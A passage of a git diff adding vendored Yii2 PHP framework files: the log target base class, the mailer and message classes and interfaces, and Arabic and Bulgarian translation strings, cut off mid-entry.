public $enabled = true; + /** + * @var array list of message categories that this target is interested in. Defaults to empty, meaning all categories. + * You can use an asterisk at the end of a category so that the category may be used to + * match those categories sharing the same common prefix. For example, 'yii\db\*' will match + * categories starting with 'yii\db\', such as 'yii\db\Connection'. + */ + public $categories = []; + /** + * @var array list of message categories that this target is NOT interested in. Defaults to empty, meaning no uninteresting messages. + * If this property is not empty, then any category listed here will be excluded from [[categories]]. + * You can use an asterisk at the end of a category so that the category can be used to + * match those categories sharing the same common prefix. For example, 'yii\db\*' will match + * categories starting with 'yii\db\', such as 'yii\db\Connection'. + * @see categories + */ + public $except = []; + /** + * @var array list of the PHP predefined variables that should be logged in a message. + * Note that a variable must be accessible via `$GLOBALS`. Otherwise it won't be logged. + * Defaults to `['_GET', '_POST', '_FILES', '_COOKIE', '_SESSION', '_SERVER']`. + */ + public $logVars = ['_GET', '_POST', '_FILES', '_COOKIE', '_SESSION', '_SERVER']; + /** + * @var callable a PHP callable that returns a string to be prefixed to every exported message. + * + * If not set, [[getMessagePrefix()]] will be used, which prefixes the message with context information + * such as user IP, user ID and session ID. + * + * The signature of the callable should be `function ($message)`. + */ + public $prefix; + /** + * @var integer how many messages should be accumulated before they are exported. + * Defaults to 1000. Note that messages will always be exported when the application terminates. + * Set this property to be 0 if you don't want to export messages until the application terminates. + */ + public $exportInterval = 1000; + /** + * @var array the messages that are retrieved from the logger so far by this log target. + * Please refer to [[Logger::messages]] for the details about the message structure. + */ + public $messages = []; + + private $_levels = 0; + + + /** + * Exports log [[messages]] to a specific destination. + * Child classes must implement this method. + */ + abstract public function export(); + + /** + * Processes the given log messages. + * This method will filter the given messages with [[levels]] and [[categories]]. + * And if requested, it will also export the filtering result to specific medium (e.g. email). + * @param array $messages log messages to be processed. See [[Logger::messages]] for the structure + * of each message. + * @param boolean $final whether this method is called at the end of the current application + */ + public function collect($messages, $final) + { + $this->messages = array_merge($this->messages, $this->filterMessages($messages, $this->getLevels(), $this->categories, $this->except)); + $count = count($this->messages); + if ($count > 0 && ($final || $this->exportInterval > 0 && $count >= $this->exportInterval)) { + if (($context = $this->getContextMessage()) !== '') { + $this->messages[] = [$context, Logger::LEVEL_INFO, 'application', YII_BEGIN_TIME]; + } + // set exportInterval to 0 to avoid triggering export again while exporting + $oldExportInterval = $this->exportInterval; + $this->exportInterval = 0; + $this->export(); + $this->exportInterval = $oldExportInterval; + + $this->messages = []; + } + } + + /** + * Generates the context information to be logged. + * The default implementation will dump user information, system variables, etc. + * @return string the context information. If an empty string, it means no context information. + */ + protected function getContextMessage() + { + $context = []; + foreach ($this->logVars as $name) { + if (!empty($GLOBALS[$name])) { + $context[] = "\${$name} = " . VarDumper::dumpAsString($GLOBALS[$name]); + } + } + + return implode("\n\n", $context); + } + + /** + * @return integer the message levels that this target is interested in. This is a bitmap of + * level values. Defaults to 0, meaning all available levels. + */ + public function getLevels() + { + return $this->_levels; + } + + /** + * Sets the message levels that this target is interested in. + * + * The parameter can be either an array of interested level names or an integer representing + * the bitmap of the interested level values. Valid level names include: 'error', + * 'warning', 'info', 'trace' and 'profile'; valid level values include: + * [[Logger::LEVEL_ERROR]], [[Logger::LEVEL_WARNING]], [[Logger::LEVEL_INFO]], + * [[Logger::LEVEL_TRACE]] and [[Logger::LEVEL_PROFILE]]. + * + * For example, + * + * ~~~ + * ['error', 'warning'] + * // which is equivalent to: + * Logger::LEVEL_ERROR | Logger::LEVEL_WARNING + * ~~~ + * + * @param array|integer $levels message levels that this target is interested in. + * @throws InvalidConfigException if an unknown level name is given + */ + public function setLevels($levels) + { + static $levelMap = [ + 'error' => Logger::LEVEL_ERROR, + 'warning' => Logger::LEVEL_WARNING, + 'info' => Logger::LEVEL_INFO, + 'trace' => Logger::LEVEL_TRACE, + 'profile' => Logger::LEVEL_PROFILE, + ]; + if (is_array($levels)) { + $this->_levels = 0; + foreach ($levels as $level) { + if (isset($levelMap[$level])) { + $this->_levels |= $levelMap[$level]; + } else { + throw new InvalidConfigException("Unrecognized level: $level"); + } + } + } else { + $this->_levels = $levels; + } + } + + /** + * Filters the given messages according to their categories and levels. + * @param array $messages messages to be filtered. + * The message structure follows that in [[Logger::messages]]. + * @param integer $levels the message levels to filter by. This is a bitmap of + * level values. Value 0 means allowing all levels. + * @param array $categories the message categories to filter by. If empty, it means all categories are allowed. + * @param array $except the message categories to exclude. If empty, it means all categories are allowed. + * @return array the filtered messages. + */ + public static function filterMessages($messages, $levels = 0, $categories = [], $except = []) + { + foreach ($messages as $i => $message) { + if ($levels && !($levels & $message[1])) { + unset($messages[$i]); + continue; + } + + $matched = empty($categories); + foreach ($categories as $category) { + if ($message[2] === $category || !empty($category) && substr_compare($category, '*', -1, 1) === 0 && strpos($message[2], rtrim($category, '*')) === 0) { + $matched = true; + break; + } + } + + if ($matched) { + foreach ($except as $category) { + $prefix = rtrim($category, '*'); + if (strpos($message[2], $prefix) === 0 && ($message[2] === $category || $prefix !== $category)) { + $matched = false; + break; + } + } + } + + if (!$matched) { + unset($messages[$i]); + } + } + return $messages; + } + + /** + * Formats a log message for display as a string. + * @param array $message the log message to be formatted. + * The message structure follows that in [[Logger::messages]]. + * @return string the formatted message + */ + public function formatMessage($message) + { + list($text, $level, $category, $timestamp) = $message; + $level = Logger::getLevelName($level); + if (!is_string($text)) { + $text = VarDumper::export($text); + } + $traces = []; + if (isset($message[4])) { + foreach($message[4] as $trace) { + $traces[] = "in {$trace['file']}:{$trace['line']}"; + } + } + + $prefix = $this->getMessagePrefix($message); + return date('Y-m-d H:i:s', $timestamp) . " {$prefix}[$level][$category] $text" + . (empty($traces) ? '' : "\n " . implode("\n ", $traces)); + } + + /** + * Returns a string to be prefixed to the given message. + * If [[prefix]] is configured it will return the result of the callback. + * The default implementation will return user IP, user ID and session ID as a prefix. + * @param array $message the message being exported. + * The message structure follows that in [[Logger::messages]]. + * @return string the prefix string + */ + public function getMessagePrefix($message) + { + if ($this->prefix !== null) { + return call_user_func($this->prefix, $message); + } + + $request = Yii::$app->getRequest(); + $ip = $request instanceof Request ? $request->getUserIP() : '-'; + + /* @var $user \yii\web\User */ + $user = Yii::$app->has('user', true) ? Yii::$app->get('user') : null; + $userID = $user ? $user->getId(false) : '-'; + + /* @var $session \yii\web\Session */ + $session = Yii::$app->has('session', true) ? Yii::$app->get('session') : null; + $sessionID = $session && $session->getIsActive() ? $session->getId() : '-'; + + return "[$ip][$userID][$sessionID]"; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/mail/BaseMailer.php b/php/yii2/basic/vendor/yiisoft/yii2/mail/BaseMailer.php new file mode 100644 index 00000000..40b5f74d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/mail/BaseMailer.php @@ -0,0 +1,388 @@ + + * @since 2.0 + */ +abstract class BaseMailer extends Component implements MailerInterface, ViewContextInterface +{ + /** + * @event MailEvent an event raised right before send. + * You may set [[MailEvent::isValid]] to be false to cancel the send. + */ + const EVENT_BEFORE_SEND = 'beforeSend'; + /** + * @event MailEvent an event raised right after send. + */ + const EVENT_AFTER_SEND = 'afterSend'; + + /** + * @var string|boolean HTML layout view name. This is the layout used to render HTML mail body. + * The property can take the following values: + * + * - a relative view name: a view file relative to [[viewPath]], e.g., 'layouts/html'. + * - a path alias: an absolute view file path specified as a path alias, e.g., '@app/mail/html'. + * - a boolean false: the layout is disabled. + */ + public $htmlLayout = 'layouts/html'; + /** + * @var string|boolean text layout view name. This is the layout used to render TEXT mail body. + * Please refer to [[htmlLayout]] for possible values that this property can take. + */ + public $textLayout = 'layouts/text'; + /** + * @var array the configuration that should be applied to any newly created + * email message instance by [[createMessage()]] or [[compose()]]. Any valid property defined + * by [[MessageInterface]] can be configured, such as `from`, `to`, `subject`, `textBody`, `htmlBody`, etc. + * + * For example: + * + * ~~~ + * [ + * 'charset' => 'UTF-8', + * 'from' => 'noreply@mydomain.com', + * 'bcc' => 'developer@mydomain.com', + * ] + * ~~~ + */ + public $messageConfig = []; + /** + * @var string the default class name of the new message instances created by [[createMessage()]] + */ + public $messageClass = 'yii\mail\BaseMessage'; + /** + * @var boolean whether to save email messages as files under [[fileTransportPath]] instead of sending them + * to the actual recipients. This is usually used during development for debugging purpose. + * @see fileTransportPath + */ + public $useFileTransport = false; + /** + * @var string the directory where the email messages are saved when [[useFileTransport]] is true. + */ + public $fileTransportPath = '@runtime/mail'; + /** + * @var callable a PHP callback that will be called by [[send()]] when [[useFileTransport]] is true. + * The callback should return a file name which will be used to save the email message. + * If not set, the file name will be generated based on the current timestamp. + * + * The signature of the callback is: + * + * ~~~ + * function ($mailer, $message) + * ~~~ + */ + public $fileTransportCallback; + + /** + * @var \yii\base\View|array view instance or its array configuration. + */ + private $_view = []; + /** + * @var string the directory containing view files for composing mail messages. + */ + private $_viewPath; + + + /** + * @param array|View $view view instance or its array configuration that will be used to + * render message bodies. + * @throws InvalidConfigException on invalid argument. + */ + public function setView($view) + { + if (!is_array($view) && !is_object($view)) { + throw new InvalidConfigException('"' . get_class($this) . '::view" should be either object or configuration array, "' . gettype($view) . '" given.'); + } + $this->_view = $view; + } + + /** + * @return View view instance. + */ + public function getView() + { + if (!is_object($this->_view)) { + $this->_view = $this->createView($this->_view); + } + + return $this->_view; + } + + /** + * Creates view instance from given configuration. + * @param array $config view configuration. + * @return View view instance. + */ + protected function createView(array $config) + { + if (!array_key_exists('class', $config)) { + $config['class'] = View::className(); + } + + return Yii::createObject($config); + } + + private $_message; + + /** + * Creates a new message instance and optionally composes its body content via view rendering. + * + * @param string|array $view the view to be used for rendering the message body. This can be: + * + * - a string, which represents the view name or path alias for rendering the HTML body of the email. + * In this case, the text body will be generated by applying `strip_tags()` to the HTML body. + * - an array with 'html' and/or 'text' elements. The 'html' element refers to the view name or path alias + * for rendering the HTML body, while 'text' element is for rendering the text body. For example, + * `['html' => 'contact-html', 'text' => 'contact-text']`. + * - null, meaning the message instance will be returned without body content. + * + * The view to be rendered can be specified in one of the following formats: + * + * - path alias (e.g. "@app/mail/contact"); + * - a relative view name (e.g. "contact") located under [[viewPath]]. + * + * @param array $params the parameters (name-value pairs) that will be extracted and made available in the view file. + * @return MessageInterface message instance. + */ + public function compose($view = null, array $params = []) + { + $message = $this->createMessage(); + if ($view === null) { + return $message; + } + + if (!array_key_exists('message', $params)) { + $params['message'] = $message; + } + + $this->_message = $message; + + if (is_array($view)) { + if (isset($view['html'])) { + $html = $this->render($view['html'], $params, $this->htmlLayout); + } + if (isset($view['text'])) { + $text = $this->render($view['text'], $params, $this->textLayout); + } + } else { + $html = $this->render($view, $params, $this->htmlLayout); + } + + + $this->_message = null; + + if (isset($html)) { + $message->setHtmlBody($html); + } + if (isset($text)) { + $message->setTextBody($text); + } elseif (isset($html)) { + if (preg_match('|]*>(.*?)|is', $html, $match)) { + $html = $match[1]; + } + $html = preg_replace('|]*>(.*?)|is', '', $html); + $message->setTextBody(strip_tags($html)); + } + return $message; + } + + /** + * Creates a new message instance. + * The newly created instance will be initialized with the configuration specified by [[messageConfig]]. + * If the configuration does not specify a 'class', the [[messageClass]] will be used as the class + * of the new message instance. + * @return MessageInterface message instance. + */ + protected function createMessage() + { + $config = $this->messageConfig; + if (!array_key_exists('class', $config)) { + $config['class'] = $this->messageClass; + } + $config['mailer'] = $this; + return Yii::createObject($config); + } + + /** + * Sends the given email message. + * This method will log a message about the email being sent. + * If [[useFileTransport]] is true, it will save the email as a file under [[fileTransportPath]]. + * Otherwise, it will call [[sendMessage()]] to send the email to its recipient(s). + * Child classes should implement [[sendMessage()]] with the actual email sending logic. + * @param MessageInterface $message email message instance to be sent + * @return boolean whether the message has been sent successfully + */ + public function send($message) + { + if (!$this->beforeSend($message)) { + return false; + } + + $address = $message->getTo(); + if (is_array($address)) { + $address = implode(', ', array_keys($address)); + } + Yii::info('Sending email "' . $message->getSubject() . '" to "' . $address . '"', __METHOD__); + + if ($this->useFileTransport) { + $isSuccessful = $this->saveMessage($message); + } else { + $isSuccessful = $this->sendMessage($message); + } + $this->afterSend($message, $isSuccessful); + + return $isSuccessful; + } + + /** + * Sends multiple messages at once. + * + * The default implementation simply calls [[send()]] multiple times. + * Child classes may override this method to implement more efficient way of + * sending multiple messages. + * + * @param array $messages list of email messages, which should be sent. + * @return integer number of messages that are successfully sent. + */ + public function sendMultiple(array $messages) + { + $successCount = 0; + foreach ($messages as $message) { + if ($this->send($message)) { + $successCount++; + } + } + + return $successCount; + } + + /** + * Renders the specified view with optional parameters and layout. + * The view will be rendered using the [[view]] component. + * @param string $view the view name or the path alias of the view file. + * @param array $params the parameters (name-value pairs) that will be extracted and made available in the view file. + * @param string|boolean $layout layout view name or path alias. If false, no layout will be applied. + * @return string the rendering result. + */ + public function render($view, $params = [], $layout = false) + { + $output = $this->getView()->render($view, $params, $this); + if ($layout !== false) { + return $this->getView()->render($layout, ['content' => $output, 'message' => $this->_message], $this); + } else { + return $output; + } + } + + /** + * Sends the specified message. + * This method should be implemented by child classes with the actual email sending logic. + * @param MessageInterface $message the message to be sent + * @return boolean whether the message is sent successfully + */ + abstract protected function sendMessage($message); + + /** + * Saves the message as a file under [[fileTransportPath]]. + * @param MessageInterface $message + * @return boolean whether the message is saved successfully + */ + protected function saveMessage($message) + { + $path = Yii::getAlias($this->fileTransportPath); + if (!is_dir(($path))) { + mkdir($path, 0777, true); + } + if ($this->fileTransportCallback !== null) { + $file = $path . '/' . call_user_func($this->fileTransportCallback, $this, $message); + } else { + $file = $path . '/' . $this->generateMessageFileName(); + } + file_put_contents($file, $message->toString()); + + return true; + } + + /** + * @return string the file name for saving the message when [[useFileTransport]] is true. + */ + public function generateMessageFileName() + { + $time = microtime(true); + + return date('Ymd-His-', $time) . sprintf('%04d', (int) (($time - (int) $time) * 10000)) . '-' . sprintf('%04d', mt_rand(0, 10000)) . '.eml'; + } + + /** + * @return string the directory that contains the view files for composing mail messages + * Defaults to '@app/mail'. + */ + public function getViewPath() + { + if ($this->_viewPath === null) { + $this->setViewPath('@app/mail'); + } + return $this->_viewPath; + } + + /** + * @param string $path the directory that contains the view files for composing mail messages + * This can be specified as an absolute path or a path alias. + */ + public function setViewPath($path) + { + $this->_viewPath = Yii::getAlias($path); + } + + /** + * This method is invoked right before mail send. + * You may override this method to do last-minute preparation for the message. + * If you override this method, please make sure you call the parent implementation first. + * @param MessageInterface $message + * @return boolean whether to continue sending an email. + */ + public function beforeSend($message) + { + $event = new MailEvent(['message' => $message]); + $this->trigger(self::EVENT_BEFORE_SEND, $event); + + return $event->isValid; + } + + /** + * This method is invoked right after mail was send. + * You may override this method to do some postprocessing or logging based on mail send status. + * If you override this method, please make sure you call the parent implementation first. + * @param MessageInterface $message + * @param boolean $isSuccessful + */ + public function afterSend($message, $isSuccessful) + { + $event = new MailEvent(['message' => $message, 'isSuccessful' => $isSuccessful]); + $this->trigger(self::EVENT_AFTER_SEND, $event); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/mail/BaseMessage.php b/php/yii2/basic/vendor/yiisoft/yii2/mail/BaseMessage.php new file mode 100644 index 00000000..11c8ab21 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/mail/BaseMessage.php @@ -0,0 +1,66 @@ + + * @since 2.0 + */ +abstract class BaseMessage extends Object implements MessageInterface +{ + /** + * @var MailerInterface the mailer instance that created this message. + * For independently created messages this is `null`. + */ + public $mailer; + + + /** + * Sends this email message. + * @param MailerInterface $mailer the mailer that should be used to send this message. + * If no mailer is given it will first check if [[mailer]] is set and if not, + * the "mail" application component will be used instead. + * @return boolean whether this message is sent successfully. + */ + public function send(MailerInterface $mailer = null) + { + if ($mailer === null && $this->mailer === null) { + $mailer = Yii::$app->getMailer(); + } elseif ($mailer === null) { + $mailer = $this->mailer; + } + return $mailer->send($this); + } + + /** + * PHP magic method that returns the string representation of this object. + * @return string the string representation of this object. + */ + public function __toString() + { + // __toString cannot throw exception + // use trigger_error to bypass this limitation + try { + return $this->toString(); + } catch (\Exception $e) { + ErrorHandler::convertExceptionToError($e); + return ''; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/mail/MailEvent.php b/php/yii2/basic/vendor/yiisoft/yii2/mail/MailEvent.php new file mode 100644 index 00000000..bb50e54b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/mail/MailEvent.php @@ -0,0 +1,36 @@ + + * @since 2.0 + */ +class MailEvent extends Event +{ + /** + * @var \yii\mail\MessageInterface the mail message being send. + */ + public $message; + /** + * @var boolean if message was sent successfully. + */ + public $isSuccessful; + /** + * @var boolean whether to continue sending an email. Event handlers of + * [[\yii\mail\BaseMailer::EVENT_BEFORE_SEND]] may set this property to decide whether + * to continue send or not. + */ + public $isValid = true; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/mail/MailerInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/mail/MailerInterface.php new file mode 100644 index 00000000..22231c03 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/mail/MailerInterface.php @@ -0,0 +1,64 @@ +mailer->compose('contact/html', ['contactForm' => $form]) + * ->setFrom('from@domain.com') + * ->setTo($form->email) + * ->setSubject($form->subject) + * ->send(); + * ~~~ + * + * @see MessageInterface + * + * @author Paul Klimov + * @since 2.0 + */ +interface MailerInterface +{ + /** + * Creates a new message instance and optionally composes its body content via view rendering. + * + * @param string|array $view the view to be used for rendering the message body. This can be: + * + * - a string, which represents the view name or path alias for rendering the HTML body of the email. + * In this case, the text body will be generated by applying `strip_tags()` to the HTML body. + * - an array with 'html' and/or 'text' elements. The 'html' element refers to the view name or path alias + * for rendering the HTML body, while 'text' element is for rendering the text body. For example, + * `['html' => 'contact-html', 'text' => 'contact-text']`. + * - null, meaning the message instance will be returned without body content. + * + * @param array $params the parameters (name-value pairs) that will be extracted and made available in the view file. + * @return MessageInterface message instance. + */ + public function compose($view = null, array $params = []); + + /** + * Sends the given email message. + * @param MessageInterface $message email message instance to be sent + * @return boolean whether the message has been sent successfully + */ + public function send($message); + + /** + * Sends multiple messages at once. + * + * This method may be implemented by some mailers which support more efficient way of sending multiple messages in the same batch. + * + * @param array $messages list of email messages, which should be sent. + * @return integer number of messages that are successfully sent. + */ + public function sendMultiple(array $messages); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/mail/MessageInterface.php b/php/yii2/basic/vendor/yiisoft/yii2/mail/MessageInterface.php new file mode 100644 index 00000000..aef63deb --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/mail/MessageInterface.php @@ -0,0 +1,218 @@ +mailer->compose() + * ->setFrom('from@domain.com') + * ->setTo($form->email) + * ->setSubject($form->subject) + * ->setTextBody('Plain text content') + * ->setHtmlBody('HTML content') + * ->send(); + * ~~~ + * + * @see MailerInterface + * + * @author Paul Klimov + * @since 2.0 + */ +interface MessageInterface +{ + /** + * Returns the character set of this message. + * @return string the character set of this message. + */ + public function getCharset(); + + /** + * Sets the character set of this message. + * @param string $charset character set name. + * @return static self reference. + */ + public function setCharset($charset); + + /** + * Returns the message sender. + * @return string the sender + */ + public function getFrom(); + + /** + * Sets the message sender. + * @param string|array $from sender email address. + * You may pass an array of addresses if this message is from multiple people. + * You may also specify sender name in addition to email address using format: + * `[email => name]`. + * @return static self reference. + */ + public function setFrom($from); + + /** + * Returns the message recipient(s). + * @return array the message recipients + */ + public function getTo(); + + /** + * Sets the message recipient(s). + * @param string|array $to receiver email address. + * You may pass an array of addresses if multiple recipients should receive this message. + * You may also specify receiver name in addition to email address using format: + * `[email => name]`. + * @return static self reference. + */ + public function setTo($to); + + /** + * Returns the reply-to address of this message. + * @return string the reply-to address of this message. + */ + public function getReplyTo(); + + /** + * Sets the reply-to address of this message. + * @param string|array $replyTo the reply-to address. + * You may pass an array of addresses if this message should be replied to multiple people. + * You may also specify reply-to name in addition to email address using format: + * `[email => name]`. + * @return static self reference. + */ + public function setReplyTo($replyTo); + + /** + * Returns the Cc (additional copy receiver) addresses of this message. + * @return array the Cc (additional copy receiver) addresses of this message. + */ + public function getCc(); + + /** + * Sets the Cc (additional copy receiver) addresses of this message. + * @param string|array $cc copy receiver email address. + * You may pass an array of addresses if multiple recipients should receive this message. + * You may also specify receiver name in addition to email address using format: + * `[email => name]`. + * @return static self reference. + */ + public function setCc($cc); + + /** + * Returns the Bcc (hidden copy receiver) addresses of this message. + * @return array the Bcc (hidden copy receiver) addresses of this message. + */ + public function getBcc(); + + /** + * Sets the Bcc (hidden copy receiver) addresses of this message. + * @param string|array $bcc hidden copy receiver email address. + * You may pass an array of addresses if multiple recipients should receive this message. + * You may also specify receiver name in addition to email address using format: + * `[email => name]`. + * @return static self reference. + */ + public function setBcc($bcc); + + /** + * Returns the message subject. + * @return string the message subject + */ + public function getSubject(); + + /** + * Sets the message subject. + * @param string $subject message subject + * @return static self reference. + */ + public function setSubject($subject); + + /** + * Sets message plain text content. + * @param string $text message plain text content. + * @return static self reference. + */ + public function setTextBody($text); + + /** + * Sets message HTML content. + * @param string $html message HTML content. + * @return static self reference. + */ + public function setHtmlBody($html); + + /** + * Attaches existing file to the email message. + * @param string $fileName full file name + * @param array $options options for embed file. Valid options are: + * + * - fileName: name, which should be used to attach file. + * - contentType: attached file MIME type. + * + * @return static self reference. + */ + public function attach($fileName, array $options = []); + + /** + * Attach specified content as file for the email message. + * @param string $content attachment file content. + * @param array $options options for embed file. Valid options are: + * + * - fileName: name, which should be used to attach file. + * - contentType: attached file MIME type. + * + * @return static self reference. + */ + public function attachContent($content, array $options = []); + + /** + * Attach a file and return it's CID source. + * This method should be used when embedding images or other data in a message. + * @param string $fileName file name. + * @param array $options options for embed file. Valid options are: + * + * - fileName: name, which should be used to attach file. + * - contentType: attached file MIME type. + * + * @return string attachment CID. + */ + public function embed($fileName, array $options = []); + + /** + * Attach a content as file and return it's CID source. + * This method should be used when embedding images or other data in a message. + * @param string $content attachment file content. + * @param array $options options for embed file. Valid options are: + * + * - fileName: name, which should be used to attach file. + * - contentType: attached file MIME type. + * + * @return string attachment CID. + */ + public function embedContent($content, array $options = []); + + /** + * Sends this email message. + * @param MailerInterface $mailer the mailer that should be used to send this message. + * If null, the "mail" application component will be used instead. + * @return boolean whether this message is sent successfully. + */ + public function send(MailerInterface $mailer = null); + + /** + * Returns string representation of this message. + * @return string the string representation of this message. + */ + public function toString(); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/ar/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/ar/yii.php new file mode 100644 index 00000000..7696b7d0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/ar/yii.php @@ -0,0 +1,79 @@ + '(لم يحدد)', + 'An internal server error occurred.' => '.حدث خطأ داخلي في الخادم', + 'Delete' => 'حذف', + 'Error' => 'خطأ', + 'File upload failed.' => '.فشل في تحميل الملف', + 'Home' => 'الرئيسية', + 'Invalid data received for parameter "{param}".' => 'بيانات غير صالحة قد وردت في "{param}".', + 'Login Required' => 'تسجبل الدخول مطلوب', + 'Missing required arguments: {params}' => 'البيانات المطلوبة ضرورية: {params}', + 'Missing required parameters: {params}' => 'البيانات المطلوبة ضرورية: {params}', + 'No' => 'لا', + 'No help for unknown command "{command}".' => 'ليس هناك مساعدة لأمر غير معروف "{command}".', + 'No help for unknown sub-command "{command}".' => 'ليس هناك مساعدة لأمر فرعي غير معروف "{command}".', + 'No results found.' => 'لم يتم العثور على نتائج', + 'Only files with these extensions are allowed: {extensions}.' => 'فقط الملفات التي تحمل هذه الصيغ مسموح بها: {extentions}.', + 'Page not found.' => 'لم يتم العثور على الصفحة', + 'Please fix the following errors:' => 'الرجاء تصحيح الأخطاء التالية:', + 'Please upload a file.' => 'الرجاء تحميل ملف.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'عرض {begin, number}-{end, number} من أصل {totalCount, number} {totalCount, plural, one{مُدخل} few{مُدخلات} many{مُدخل} other{مُدخلات}}.', + 'The file "{file}" is not an image.' => 'الملف "{file}" ليس صورة.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'الملف "{file}" كبير الحجم. حجمه لا يجب أن يتخطى {limit, number} {limit, plural, one{بايت} other{بايت}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'الملف "{file}" صغير جداً. حجمه لا يجب أن يكون أصغر من {limit, number} {limit, plural, other{بايت}}.', + 'The format of {attribute} is invalid.' => 'شكل {attribute} غير صالح', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'الصورة "{file}" كبيرة جداً. ارتفاعها لا يمكن أن يتخطى {limit, number} {limit, plural, other{بكسل}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'الصورة "{file}" كبيرة جداً. عرضها لا يمكن أن يتخطى {limit, number} {limit, plural, other{بكسل}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'الصورة "{file}" صغيرة جداً. ارتفاعها لا يمكن أن يقل عن {limit, number} {limit, plural, other{بكسل}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'الصورة "{file}" كبيرة جداً. عرضها لا يمكن أن يقل عن {limit, number} {limit, plural, other{بكسل}}.', + 'The verification code is incorrect.' => 'رمز التحقق غير صحيح', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'مجموع {count, number} {count, plural, one{مُدخل} few{مُدخلات} many{مُدخل}}.', + 'Unable to verify your data submission.' => 'لم نستطع التأكد من البيانات المقدمة.', + 'Unknown command "{command}".' => 'أمر غير معروف. "{command}"', + 'Unknown option: --{name}' => 'خيار غير معروف: --{name}', + 'Update' => 'تحديث', + 'View' => 'عرض', + 'Yes' => 'نعم', + 'You are not allowed to perform this action.' => 'غير مصرح لك القيام بهذا العمل', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'تستطيع كأقصى حد تحميل {limit, number} {limit, plural, one{ملف} few{ملفات} many{ملف} other{ملفات}}.', + 'the input value' => 'قيمة المُدخل', + '{attribute} "{value}" has already been taken.' => '{attribute} "{value}" سبق استعماله', + '{attribute} cannot be blank.' => '{attribute} لا يمكن تركه فارغًا.', + '{attribute} is invalid.' => '{attribute} غير صالح.', + '{attribute} is not a valid URL.' => '{attribute} ليس بعنوان صحيح.', + '{attribute} is not a valid email address.' => '{attribute} ليس ببريد إلكتروني صحيح.', + '{attribute} must be "{requiredValue}".' => '{attribute} يجب أن يكون "{requiredValue}".', + '{attribute} must be a number.' => '{attribute} يجب أن يكون رقمًا', + '{attribute} must be a string.' => '{attribute} يجب أن يكون كلمات', + '{attribute} must be an integer.' => '{attribute} يجب أن يكون رقمًا صحيحًا', + '{attribute} must be either "{true}" or "{false}".' => '{attribute} يجب أن يكن إما "{true}" أو "{false}".', + '{attribute} must be greater than "{compareValue}".' => '{attribute} يجب أن يكون أكبر من "{compareValue}".', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute} يجب أن يكون أكبر من أو يساوي "{compareValue}".', + '{attribute} must be less than "{compareValue}".' => '{attribute} يجب أن يكون أصغر من "{compareValue}".', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute} يجب أن يكون أصغر من أو يساوي "{compareValue}".', + '{attribute} must be no greater than {max}.' => '{attribute} يجب أن لا يكون أكبر من "{compareValue}".', + '{attribute} must be no less than {min}.' => '{attribute} يجب أن لا يكون أصغر من "{min}".', + '{attribute} must be repeated exactly.' => '{attribute} يجب أن يكون متطابق.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute} يجب ان لا يساوي "{compareValue}"', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute} يجب أن يحتوي على أكثر من {min, number} {min, plural, one{حرف} few{حروف} many{حرف}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute} يجب أن لا يحتوي على أكثر من {max, number} {max, plural, one{حرف} few{حروف} many{حرف}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute} يجب أن يحتوي على {length, number} {length, plural, one{حرف} few{حروف} many{حرف}}.', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/bg/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/bg/yii.php new file mode 100644 index 00000000..9a711f4e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/bg/yii.php @@ -0,0 +1,106 @@ + '(не е попълнено)', + 'An internal server error occurred.' => 'Възникна вътрешна грешка в сървъра.', + 'Are you sure you want to delete this item?' => 'Сигурни ли сте, че искате да изтриете записа?', + 'Delete' => 'Изтрий', + 'Error' => 'Грешка', + 'File upload failed.' => 'Грешка при качване на файл.', + 'Home' => 'Начало', + 'Invalid data received for parameter "{param}".' => 'Невалидни данни за параметъра "{param}".', + 'Login Required' => 'Трябва да влезете в системата.', + 'Missing required arguments: {params}' => 'Липсват задължителните аргументи: {params}', + 'Missing required parameters: {params}' => 'Липсват задължителните параметри: {params}', + 'No' => 'Не', + 'No help for unknown command "{command}".' => 'Няма помощна информация за команда "{command}".', + 'No help for unknown sub-command "{command}".' => 'Няма помощна информация под-команда "{command}".', + 'No results found.' => 'Няма намерени резултати.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Допускат се файлове са от типове: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Допускат се файлове със следните разширения: {extensions}.', + 'Page not found.' => 'Страницата не беше намерена.', + 'Please fix the following errors:' => 'Моля, коригирайте следните грешки:', + 'Please upload a 